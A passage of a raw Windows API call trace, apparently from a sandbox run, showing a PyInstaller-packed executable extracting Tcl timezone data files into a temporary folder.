(hostlong=0x93050000) returned 0x593 [0038.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.904] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.904] htonl (hostlong=0x541b0000) returned 0x1b54 [0038.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b54) returned 0x561090 [0038.904] htonl (hostlong=0x93050000) returned 0x593 [0038.904] htonl (hostlong=0x541b0000) returned 0x1b54 [0038.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562bf0 [0038.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562bf0 | out: hHeap=0x530000) returned 1 [0038.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.904] CloseHandle (hObject=0x10c) returned 1 [0038.904] GetLastError () returned 0x0 [0038.904] SetLastError (dwErrCode=0x0) [0038.904] GetLastError () returned 0x0 [0038.904] SetLastError (dwErrCode=0x0) [0038.904] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.905] GetFileType (hFile=0x10c) returned 0x1 [0038.905] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.905] CloseHandle (hObject=0x10c) returned 1 [0038.905] GetLastError () returned 0x0 [0038.905] SetLastError (dwErrCode=0x0) [0038.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.905] GetFileType (hFile=0x10c) returned 0x1 [0038.905] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.906] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.906] CloseHandle (hObject=0x10c) returned 1 [0038.906] GetLastError () returned 0x0 [0038.906] SetLastError (dwErrCode=0x0) [0038.906] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.906] GetFileType (hFile=0x10c) returned 0x1 [0038.906] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.906] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.906] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.906] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.906] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.906] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.906] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.906] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.906] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.906] CloseHandle (hObject=0x10c) returned 1 [0038.906] GetLastError () returned 0x0 [0038.906] SetLastError (dwErrCode=0x0) [0038.906] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana") returned 72 [0038.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.906] GetLastError () returned 0x2 [0038.906] SetLastError (dwErrCode=0x2) [0038.907] GetLastError () returned 0x2 [0038.907] SetLastError (dwErrCode=0x2) [0038.907] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana", lpFilePart=0x0) returned 0x47 [0038.907] GetLastError () returned 0x2 [0038.907] SetLastError (dwErrCode=0x2) [0038.907] GetLastError () returned 0x2 [0038.907] SetLastError (dwErrCode=0x2) [0038.907] GetLastError () returned 0x2 [0038.907] SetLastError (dwErrCode=0x2) [0038.907] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana"), lpSecurityAttributes=0x0) returned 1 [0038.908] GetLastError () returned 0x2 [0038.908] SetLastError (dwErrCode=0x2) [0038.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Indianapolis") returned 85 [0038.908] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Indianapolis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\indianapolis"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.908] GetLastError () returned 0x2 [0038.908] SetLastError (dwErrCode=0x2) [0038.908] GetLastError () returned 0x2 [0038.908] SetLastError (dwErrCode=0x2) [0038.908] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Indianapolis", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Indianapolis", lpFilePart=0x0) returned 0x54 [0038.908] GetLastError () returned 0x2 [0038.908] SetLastError (dwErrCode=0x2) [0038.908] GetLastError () returned 0x2 [0038.908] SetLastError (dwErrCode=0x2) [0038.908] GetLastError () returned 0x2 [0038.908] SetLastError (dwErrCode=0x2) [0038.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Indianapolis") returned 85 [0038.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.908] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Indianapolis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\indianapolis"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.908] GetFileType (hFile=0x10c) returned 0x1 [0038.908] htonl (hostlong=0x541b0000) returned 0x1b54 [0038.908] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.909] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.909] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb54, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb54, lpOverlapped=0x0) returned 1 [0038.910] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.910] CloseHandle (hObject=0x10c) returned 1 [0038.910] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.911] htonl (hostlong=0x40000000) returned 0x40 [0038.911] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.911] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.911] GetFileType (hFile=0x10c) returned 0x1 [0038.911] htonl (hostlong=0x7b325900) returned 0x59327b [0038.911] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5de27b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.911] htonl (hostlong=0x75060000) returned 0x675 [0038.911] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x675) returned 0x55e278 [0038.911] htonl (hostlong=0x75060000) returned 0x675 [0038.911] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.912] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.912] htonl (hostlong=0x16210000) returned 0x2116 [0038.912] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2116) returned 0x561090 [0038.912] htonl (hostlong=0x75060000) returned 0x675 [0038.912] htonl (hostlong=0x16210000) returned 0x2116 [0038.912] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5631b0 [0038.913] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5631b0 | out: hHeap=0x530000) returned 1 [0038.913] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.913] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.913] CloseHandle (hObject=0x10c) returned 1 [0038.913] GetLastError () returned 0x0 [0038.913] SetLastError (dwErrCode=0x0) [0038.913] GetLastError () returned 0x0 [0038.913] SetLastError (dwErrCode=0x0) [0038.913] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.913] GetFileType (hFile=0x10c) returned 0x1 [0038.913] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.913] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.913] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.913] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.913] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.913] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.913] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.913] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.913] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.913] CloseHandle (hObject=0x10c) returned 1 [0038.913] GetLastError () returned 0x0 [0038.914] SetLastError (dwErrCode=0x0) [0038.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.914] GetFileType (hFile=0x10c) returned 0x1 [0038.914] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.914] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.914] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.914] CloseHandle (hObject=0x10c) returned 1 [0038.914] GetLastError () returned 0x0 [0038.914] SetLastError (dwErrCode=0x0) [0038.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.914] GetFileType (hFile=0x10c) returned 0x1 [0038.914] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.914] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.915] CloseHandle (hObject=0x10c) returned 1 [0038.915] GetLastError () returned 0x0 [0038.915] SetLastError (dwErrCode=0x0) [0038.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana") returned 72 [0038.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.915] GetFileType (hFile=0x10c) returned 0x1 [0038.915] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.915] CloseHandle (hObject=0x10c) returned 1 [0038.915] GetLastError () returned 0x0 [0038.915] SetLastError (dwErrCode=0x0) [0038.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Knox") returned 77 [0038.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Knox" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\knox"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.916] GetLastError () returned 0x2 [0038.916] SetLastError (dwErrCode=0x2) [0038.916] GetLastError () returned 0x2 [0038.916] SetLastError (dwErrCode=0x2) [0038.916] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Knox", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Knox", lpFilePart=0x0) returned 0x4c [0038.916] GetLastError () returned 0x2 [0038.916] SetLastError (dwErrCode=0x2) [0038.916] GetLastError () returned 0x2 [0038.916] SetLastError (dwErrCode=0x2) [0038.916] GetLastError () returned 0x2 